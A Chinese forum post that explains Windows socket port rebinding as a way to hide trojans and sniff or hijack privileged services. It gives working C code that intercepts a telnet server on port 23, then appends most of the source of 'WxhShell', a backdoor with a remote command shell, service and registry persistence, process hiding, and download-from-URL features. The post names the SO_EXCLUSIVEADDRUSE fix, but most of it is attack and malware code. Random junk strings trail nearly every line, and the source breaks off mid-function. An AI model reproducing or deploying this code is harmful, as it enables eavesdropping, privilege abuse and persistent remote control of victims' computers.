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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u`"Y!*[ -  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d~KTUgH'<  
r-_-/O"l  
  saddr.sin_family = AF_INET; eB9F35[  
v.53fx  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ? CU;  
R(s[JH(&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W/.n R[!  
I2gSgv%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 J4Ca0Ag  
m A('MS2  
  这意味着什么?意味着可以进行如下的攻击: blUS6"kV}  
3uL$+F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5& _R+g  
"iJAM`Hi  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 5O~;^0iC  
LhSXz>AX  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 TVVu_ib  
D7Y?$=0ycb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  69 J4p=c,  
I:WPP'L4o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 a1x].{  
v 8TNBsEL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v}=pxWhm  
S[CWrPaDQ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >:OP+Vc  
AMN`bgxW  
  #include p2gu@!   
  #include bYYjP.rcF  
  #include s>=$E~qq  
  #include    f[q_eY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   gX(8V*os^  
  int main() nv3TxG  
  { ?4t~z 1.f  
  WORD wVersionRequested; MfraTUxIo/  
  DWORD ret; 212 =+k  
  WSADATA wsaData; X7SSTcA   
  BOOL val; 88}04  
  SOCKADDR_IN saddr; b/4gs62{k  
  SOCKADDR_IN scaddr; N6v*X+4JH  
  int err; y2PxC. -  
  SOCKET s; &zPM# Q  
  SOCKET sc; u1|v3/Q-  
  int caddsize; qc3?Aplj  
  HANDLE mt; W+.?J 60  
  DWORD tid;   ^y~oXS(  
  wVersionRequested = MAKEWORD( 2, 2 ); !q8A!P4|'  
  err = WSAStartup( wVersionRequested, &wsaData ); D"K! ELGW  
  if ( err != 0 ) { u@aM8Na  
  printf("error!WSAStartup failed!\n"); .:/X~{  
  return -1; ~]BR(n  
  } :I^4ILQCD  
  saddr.sin_family = AF_INET; M#yUdl7d  
   qJ$S3B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 xzRC %  
USXPa[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BT(G9 Pj;  
  saddr.sin_port = htons(23); hP/uS%X   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  <JZa  
  { yCv"(fNQ  
  printf("error!socket failed!\n"); FWo`oJeN  
  return -1; &A^2hPe}  
  } 7>gW2 m  
  val = TRUE; WX+@<y}%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 t5QGXj  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FYK}AR<=  
  { >Lz2zlZI  
  printf("error!setsockopt failed!\n"); *T{KpiuP  
  return -1; Ds\f?\Em  
  } aX~' gq>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; efh1-3f  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %Jn5M(myC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 d_98%U+u  
5hB2:$C  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) DE?@8k  
  { =OR&,xt  
  ret=GetLastError(); x_EU.924uY  
  printf("error!bind failed!\n"); &0mhO+g   
  return -1; N mN:x&/  
  } 6uFGq)4p@  
  listen(s,2); ND5E`Va5R  
  while(1) /PkOF ((  
  { lqKwjJ tX  
  caddsize = sizeof(scaddr); C,u;l~zz  
  //接受连接请求 .|K\1qGW0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  uMBb=   
  if(sc!=INVALID_SOCKET) *1}vn%wvn  
  { ^N~Jm&I  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); :wJ!rn,4  
  if(mt==NULL) SHC VjI6  
  { W*D*\E  
  printf("Thread Creat Failed!\n"); .gI9jRdKw  
  break; UKSI"/8I  
  } c:}K(yAdd  
  } _j<,qi  
  CloseHandle(mt); ,qlFk|A|  
  } tWdP5vfp  
  closesocket(s); QpifO  
  WSACleanup(); 2K'}Vm+  
  return 0; I3?:KVa  
  }   l1RFn,Tzr  
  DWORD WINAPI ClientThread(LPVOID lpParam) {K2F(kz?T  
  { "2@Ys* e  
  SOCKET ss = (SOCKET)lpParam; n]btazM{  
  SOCKET sc; Q1'D*F4  
  unsigned char buf[4096]; <lLk (fC  
  SOCKADDR_IN saddr; p|w;StLy  
  long num; c>Ljv('bj  
  DWORD val; ~#[ ZuMO?  
  DWORD ret; to 3i!b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yM34GS=,J  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1'* {Vm M  
  saddr.sin_family = AF_INET; Xgm9>/y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o6;VrpaNi  
  saddr.sin_port = htons(23); GG_A'eX:I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?Qs>L~  
  { YCQ+9  
  printf("error!socket failed!\n"); d>7bwG+k  
  return -1; gClDVO  
  } [h2V9>4:  
  val = 100; |zL.PS  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Xq%!(YD|  
  { KBGJB`D*  
  ret = GetLastError(); uO-R:MC  
  return -1; /h%MWCZWm^  
  } oDas~0<oh  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Qod2m$>wp}  
  { =;xlmndT,  
  ret = GetLastError(); ; bDFrG  
  return -1; /7zy5  
  } x]U (EX`t$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kL qFh<  
  { Ljxn}):[  
  printf("error!socket connect failed!\n"); Sq==)$G  
  closesocket(sc); HM1y$ej  
  closesocket(ss);  yQ8H-a.  
  return -1; k .l,>s`!  
  } @.iOFY  
  while(1) >heih%Ar0J  
  { z*>CP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z95V 7E  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 XsHl%o8,z  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i&FC-{|Z  
  num = recv(ss,buf,4096,0); 9Au+mIN  
  if(num>0) _>:g&pS/  
  send(sc,buf,num,0); M !OI :v  
  else if(num==0) ikRIL2Y  
  break; A1f]HT  
  num = recv(sc,buf,4096,0);  )Bk?"q  
  if(num>0) C5RDP~au  
  send(ss,buf,num,0); uf)W? `e~  
  else if(num==0) Lou4M  
  break; .^.UJo;4G  
  } p N]Hp"v  
  closesocket(ss); I}v'n{5(  
  closesocket(sc); |I+E`,n"b  
  return 0 ; y!!+IeReS  
  } e?lqs,m@"  
<p0$Q!^dK=  
8h20*@wSN  
========================================================== Pe wPl0  
]:E]5&VwV}  
下边附上一个代码,,WXhSHELL '\*Rw]bR|  
r rwsj`  
========================================================== TcfBfscU  
Jp-ae0 Ewa  
#include "stdafx.h" X)f"`$  
kdYl>M  
#include <stdio.h> #1bgV  
#include <string.h> }5tn  
#include <windows.h> AYZds >#Q  
#include <winsock2.h> -6tF   
#include <winsvc.h> x(7K3(#|  
#include <urlmon.h> C aJD*  
)#ujF~w>  
#pragma comment (lib, "Ws2_32.lib") QT&{M #Ydn  
#pragma comment (lib, "urlmon.lib") #=.h:_9  
-X}R(.}x  
#define MAX_USER   100 // 最大客户端连接数 ,m b3H  
#define BUF_SOCK   200 // sock buffer "^D6%I#T  
#define KEY_BUFF   255 // 输入 buffer NJtB;  
!Z'm@,+  
#define REBOOT     0   // 重启 +li^0+3-'  
#define SHUTDOWN   1   // 关机 ( L6`_)  
#*]= %-A  
#define DEF_PORT   5000 // 监听端口 `A^} X  
-<O:isB   
#define REG_LEN     16   // 注册表键长度 zuPH3Q={  
#define SVC_LEN     80   // NT服务名长度 KnFbRhu[  
#EM'=Q%TO  
// 从dll定义API #129 i2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #dfW1@m  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y14@9<~9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (_08?cN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `WW0~Tp3  
tQ}gBE63  
// wxhshell配置信息 4QVd{  
struct WSCFG { M1M]]fT0ME  
  int ws_port;         // 监听端口 K/,lw~>  
  char ws_passstr[REG_LEN]; // 口令 N_ DgnZ7*  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7f$Lb,\y  
  char ws_regname[REG_LEN]; // 注册表键名 5~X%*_[],  
  char ws_svcname[REG_LEN]; // 服务名 d#tUG~jc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M:SxAo-D2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '} kq@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;i#gk%- 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^,5.vfES  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^9RBG#ud  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 g0U ?s  
z} \9/`  
}; rN~`4mZ  
By_Ui6:D  
// default Wxhshell configuration  e.GzGX  
struct WSCFG wscfg={DEF_PORT, D?'y)](  
    "xuhuanlingzhe", h5gXYmk  
    1, 9 $S,P|  
    "Wxhshell", j&pgq2Kl  
    "Wxhshell", .2P?1HpK  
            "WxhShell Service", 6J*`<k/ S  
    "Wrsky Windows CmdShell Service", w8i!Qi#y5D  
    "Please Input Your Password: ", R)C+wTG;  
  1, :jX~]1hpmA  
  "http://www.wrsky.com/wxhshell.exe", >g2B5KY  
  "Wxhshell.exe" >8tuLd*T  
    }; yi?&^nX@9,  
7a<qP=J  
// 消息定义模块 N [u Xo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -CrZ'k;4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y {]%,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lBdF9F<  
char *msg_ws_ext="\n\rExit."; .'1j5Y-l`N  
char *msg_ws_end="\n\rQuit."; z Y|g#V-  
char *msg_ws_boot="\n\rReboot..."; D=>^m=?0  
char *msg_ws_poff="\n\rShutdown..."; +;Gl>$  
char *msg_ws_down="\n\rSave to "; ~e+w@ lK  
Q=8 cBRe  
char *msg_ws_err="\n\rErr!"; u3:Qt2^S  
char *msg_ws_ok="\n\rOK!"; ,')bO*N g  
-!cAr <  
char ExeFile[MAX_PATH]; b9N4Gr  
int nUser = 0;  o %%fO  
HANDLE handles[MAX_USER]; ^!qmlx*  
int OsIsNt; TH!8G,(w  
pQY>  
SERVICE_STATUS       serviceStatus; d"UW38K{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d/>,U7eS[+  
?Q3~n^  
// 函数声明 $hQg+nY.  
int Install(void); Snu;5:R  
int Uninstall(void); sJ/e=1*  
int DownloadFile(char *sURL, SOCKET wsh); }j1Zk4}[x  
int Boot(int flag); 03o3[g?  
void HideProc(void); U08?*{  
int GetOsVer(void); vWH>k+9&X  
int Wxhshell(SOCKET wsl); ^BX@0"&-  
void TalkWithClient(void *cs); `yZZP   
int CmdShell(SOCKET sock); YoJ'=z,e  
int StartFromService(void); !f-o,RJ  
int StartWxhshell(LPSTR lpCmdLine); m[j3s=Gr  
Z5L1^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ELF`u WG E  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bl?%:qb.V  
)X;cS} yp  
// 数据结构和表定义 )<F\IM  
SERVICE_TABLE_ENTRY DispatchTable[] = :(`>bY  
{ @t8kN6.  
{wscfg.ws_svcname, NTServiceMain}, O97bgj]  
{NULL, NULL} })lT fy  
}; 1>VS/H`  
p8dn-4  
// 自我安装 X); Zm7  
int Install(void) &;U7/?Q  
{ ~UC/|t$  
  char svExeFile[MAX_PATH]; zD;] sk4  
  HKEY key; Te}yQ=+  
  strcpy(svExeFile,ExeFile); !u}3H|6~  
J*!:ar  
// 如果是win9x系统,修改注册表设为自启动 ;-GzGDc~0  
if(!OsIsNt) { pHB35=p28  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y9li<u<PF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BkxhF  
  RegCloseKey(key); Bq]O &>\hX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ('q vYQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); az;jMnPpR5  
  RegCloseKey(key); <]^;/2 .B  
  return 0; :V~*vLvR  
    } c dbSv=r  
  } IW o~s  
} (mIJI,[xn  
else { lp-Zx[#`}C  
Cw&D}  
// 如果是NT以上系统,安装为系统服务 G5#}Ed4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )?&kQ^@v  
if (schSCManager!=0) Y;F R"~^  
{ ?s)sPM?  
  SC_HANDLE schService = CreateService ,Kf8T9z`  
  ( -wQ^oOJ  
  schSCManager, J%:/<uCmZ  
  wscfg.ws_svcname, 4)+IO;  
  wscfg.ws_svcdisp, %Rep6=K*$  
  SERVICE_ALL_ACCESS, p <=%  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !NLvo_[Y  
  SERVICE_AUTO_START, DsJn#>?Kh  
  SERVICE_ERROR_NORMAL, yCCw<?  
  svExeFile, TUUE(sLA  
  NULL, .q`H`(QM  
  NULL, S?7V "LF  
  NULL, C<t'f(4s`u  
  NULL, -^4bA<dCCE  
  NULL >2CusT2  
  ); b]<HhU  
  if (schService!=0) VNrO(j DUv  
  { rgdQR^!l6  
  CloseServiceHandle(schService); Eu/y">;v#  
  CloseServiceHandle(schSCManager); U+PCvl=x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cz@FZb8  
  strcat(svExeFile,wscfg.ws_svcname); TDFO9%2c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^b!7R <>~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mH*@d"  
  RegCloseKey(key); 2Uv3_i<  
  return 0; (vAv^A*i}  
    } |1+(Ny.%k  
  } r7"Au"  
  CloseServiceHandle(schSCManager); dH2]ZE0V  
} gO:Z6}3vM  
} 'uf2 nUo  
[j}7@Mr`\  
return 1; |\%F(d330  
} 3> \fP#oQ  
C8qTz".5$  
// 自我卸载 L;S*.Ol>  
int Uninstall(void) @?3vRs}h  
{ i=1 }lk q  
  HKEY key; 60,-\h  
}or2 $\>m  
if(!OsIsNt) { te;Ox!B&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jemx ky  
  RegDeleteValue(key,wscfg.ws_regname); !jAWNK6  
  RegCloseKey(key); o'^;tLs15  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'EL ||  
  RegDeleteValue(key,wscfg.ws_regname); 7.$]f71z  
  RegCloseKey(key); u*26>.  
  return 0; V Z2.w4b  
  } ?UZ$bz  
} p fL2v,]g  
} B9LSxB  
else { E5*-;>2c  
*9dV/TT~f[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i$[,-4 v  
if (schSCManager!=0) ..jq[(;N  
{ x/%7%_+'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3s?v(1 {)  
  if (schService!=0) (|<h^] y3  
  { }%!FMXe  
  if(DeleteService(schService)!=0) { Z[#I"-Q~:  
  CloseServiceHandle(schService); QT1:> k  
  CloseServiceHandle(schSCManager); AZxrJ2G  
  return 0; e{fZ}`=7y  
  } y _'eyR@)  
  CloseServiceHandle(schService); Gva}J 6{  
  } pXPqDA  
  CloseServiceHandle(schSCManager); |?x^8e<*  
} rDIhpT)a  
} [as-3&5S  
u}Ei_ O<z  
return 1; 2f3=?YqD  
} 3TU'*w &  
6Cl+KcJH  
// 从指定url下载文件 cs K>iN  
int DownloadFile(char *sURL, SOCKET wsh) CV!;oB&  
{ AA))KBXq  
  HRESULT hr; OlEpid'Z  
char seps[]= "/"; Q&u>7_, Du  
char *token; Hs[}l_gYn  
char *file; D^,\cZbY  
char myURL[MAX_PATH]; lq1[r~  
char myFILE[MAX_PATH]; )UR1E?'  
L3B8IDq  
strcpy(myURL,sURL); }  c{Fa&  
  token=strtok(myURL,seps); i[^k.W3gf  
  while(token!=NULL) \HCOR, `T  
  { o*%3[HmV  
    file=token; McEmd.S<n  
  token=strtok(NULL,seps);  ;e&!  
  } d4ic9u*D  
k?^%hO>[  
GetCurrentDirectory(MAX_PATH,myFILE); cICHRp&&  
strcat(myFILE, "\\"); iH[E= 6*  
strcat(myFILE, file); Ru)(dvk}S  
  send(wsh,myFILE,strlen(myFILE),0); Tv`_n2J`2  
send(wsh,"...",3,0); j,}4TDWa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^[en3aQ  
  if(hr==S_OK) a|UqeNI{  
return 0; 5+`=t07^et  
else mDZ=Due1  
return 1; 0HjJaML  
M6\7FP6G  
} /[0F6  
F\JLbY{x]  
// 系统电源模块 B9wp*:.  
int Boot(int flag) Q5g,7ac8L  
{ pNuqT*  
  HANDLE hToken; 9KXym }  
  TOKEN_PRIVILEGES tkp; =Qyqfy*@D?  
?F1wh2o q  
  if(OsIsNt) { hPcS, p{%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [4Y[?)7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VW{,:Ya  
    tkp.PrivilegeCount = 1; kr#I{gF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [ qiOd!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Im6U_JsNZh  
if(flag==REBOOT) { fO #?k<p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ZR8s^X  
  return 0; )R~a;?T_c0  
} MZ)T0|S_  
else { 0E yAMu  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) XYts8}y5  
  return 0; vuZf#\zh}  
} k9 l^6#<?  
  } /0 _zXQyV  
  else { U3/8A:$y  
if(flag==REBOOT) { !\ZcOk2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J=@xAVBc  
  return 0; KhrFg1|  
} cg{Gc]'1#  
else { kAeNQRjR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :Z[(A"dA  
  return 0; q4+Yv2e <r  
} 9Yn)t#G'`F  
} ]'tJ S]  
4j^bpfb,  
return 1; 1#]B^D  
} '^DUq?E4  
,aWCiu}  
// win9x进程隐藏模块 5*Btb#:  
void HideProc(void) PGkCOmq   
{ j-QGOuvW  
eKyqU9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {<!hlB  
  if ( hKernel != NULL ) i+I0k~wY  
  { I qx84  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a5)JkC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fq=:h\\G  
    FreeLibrary(hKernel); \WX@PfL  
  } 2 ZK%)vq0  
$cu]_gu  
return; z-I|h~ii  
} :xtT)w  
@i{]4rk lv  
// 获取操作系统版本 ~3d*b8  
int GetOsVer(void) i(Vm!Y82  
{ &}E:jt}  
  OSVERSIONINFO winfo; v1h.pbz`w  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S2Vxe@b)  
  GetVersionEx(&winfo); 14-]esSa  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) %i595Ij-]  
  return 1; ki#bPgT  
  else {"t5\U6cKM  
  return 0; [[X+P 0`r  
} =W<[Fe3  
(-J<Vy]  
// 客户端句柄模块 Q vJZkGX  
int Wxhshell(SOCKET wsl) Z0W0uP;J  
{ 7 OWsHlU  
  SOCKET wsh; MnS+nH!d  
  struct sockaddr_in client; |Qr:!MA  
  DWORD myID; 7O$ &  
/?U!y?t&@  
  while(nUser<MAX_USER) ]=Pu\eE  
{ x) 5LT}p  
  int nSize=sizeof(client); WL:0R>0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (0}j]p'w  
  if(wsh==INVALID_SOCKET) return 1; "&<~UiI  
\%4|t,en  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); He<;4?:  
if(handles[nUser]==0) 87}(AO)  
  closesocket(wsh); ]'UgZsJ  
else N|<bVq%  
  nUser++; ^vaL8+  
  } !5~k:1=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wn~ZA#  
ZB0+GG\  
  return 0; XWXr0>!,?  
} EBwK 7c  
zR/IqW.`9  
// 关闭 socket w5(yCyNp~  
void CloseIt(SOCKET wsh) (Vap7.6;_  
{ ( OXY^iq  
closesocket(wsh); [4\aYB9N  
nUser--; 'kQ~  
ExitThread(0); ^/<|f,2  
} qRl/Sl#F  
)cKjiXn  
// 客户端请求句柄 10O3Z9  
void TalkWithClient(void *cs) v#F-<?Vv  
{ ^Et ,TF\  
kC31$jMC3!  
  SOCKET wsh=(SOCKET)cs; dQK`sLChv  
  char pwd[SVC_LEN]; bQj`g2eyM  
  char cmd[KEY_BUFF]; .R\p[rv&  
char chr[1]; = hhvmo  
int i,j; ThiN9! Y  
eo ?Oir)  
  while (nUser < MAX_USER) { o?y"]RCM  
+(y>qd  
if(wscfg.ws_passstr) { :$2Yg[Zc3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zb?kpd}r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & +]x;K  
  //ZeroMemory(pwd,KEY_BUFF); l1DI*0@  
      i=0; Q.1XP  
  while(i<SVC_LEN) { !xymoiArp  
]!J<,f7W  
  // 设置超时 AA2ui%  
  fd_set FdRead; rmQ\RP W  
  struct timeval TimeOut; #4N >d~  
  FD_ZERO(&FdRead); L^)qe^%3  
  FD_SET(wsh,&FdRead); pND48 g;  
  TimeOut.tv_sec=8; 0mVuD\#=!  
  TimeOut.tv_usec=0; zuMO1s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ee^4KKsh\  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PqI![KxZW  
:l;,m}#@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WAv@F[  
  pwd=chr[0]; "vsjen.K>  
  if(chr[0]==0xd || chr[0]==0xa) { #<UuI9  
  pwd=0; \6i 9q=  
  break; l@#b;M/  
  } @ct#s:t  
  i++; ;AltNGcM  
    } Bd8hJA  
\QiqcD9Y  
  // 如果是非法用户,关闭 socket GBW 7Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); soDfi-2o3  
} Lg b  
.T{U^0 )  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g4Bg6<;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9!cW  
T%w(P ^qk  
while(1) { "~Us#4>  
cmae&Atotw  
  ZeroMemory(cmd,KEY_BUFF); a0 qj[+  
?o@E1:aA  
      // 自动支持客户端 telnet标准   TZkTz P[  
  j=0; .N&QW `  
  while(j<KEY_BUFF) { F\:{}782u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h%u? lW  
  cmd[j]=chr[0]; R4yJ.f  
  if(chr[0]==0xa || chr[0]==0xd) { )2/b$i,JKk  
  cmd[j]=0; ,znL,%s  
  break; ~;` fC|)  
  } '&+Z,  
  j++; \/pVcR  
    } ]2g5Ka[>w  
WGluZhRuT3  
  // 下载文件 =GLYDV  
  if(strstr(cmd,"http://")) { gr[D!D >  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =y`-sU Hx  
  if(DownloadFile(cmd,wsh)) p {w}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O $YJku  
  else S|tA[klh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A-}PpH~.Z  
  } @ $ 9m>6V  
  else { zv>ZrFl*  
P"U>tsHK:  
    switch(cmd[0]) { [Q7`RB  
  l[:^TfB  
  // 帮助 3J23q  
  case '?': { 9 <y/Wv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G;87in ,}  
    break; jp"XS  
  } }Z<D^Z~w  
  // 安装 ':9%3Wq]j  
  case 'i': { d91I  
    if(Install()) K#%O3RRs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N`+ O  
    else o<9yaQ;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *)2x&~T*|  
    break; WlF+unB!9  
    } |E>v~qD8I  
  // 卸载 |s)VjS4@  
  case 'r': { _:/Cl9~  
    if(Uninstall()) Ih9ORp7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .N'%hh  
    else 5M/%%Ox  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g wZ+GA  
    break; <T4 7kLI  
    } 1mvu3}ewx  
  // 显示 wxhshell 所在路径 w-{#6/<kI5  
  case 'p': { /@xr[=L  
    char svExeFile[MAX_PATH]; AIIBd  
    strcpy(svExeFile,"\n\r"); "H/2r]?GT  
      strcat(svExeFile,ExeFile); D~[ N_  
        send(wsh,svExeFile,strlen(svExeFile),0); w yuJSB  
    break; Iqe=#hUFe!  
    } 0jl:Yzo&\  
  // 重启 RBMMXJj  
  case 'b': { 3}.mp}K 5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0`aHwt/F  
    if(Boot(REBOOT)) IeqWR4Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "RR./e)h  
    else { +?J_6Mo@X  
    closesocket(wsh); ,4h! "c  
    ExitThread(0); _ d(Ks9  
    } $Sc08ro  
    break; `"^@[1  
    } $A5B{2  
  // 关机 K{`2jK#  
  case 'd': { x _YV{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,& \&::R  
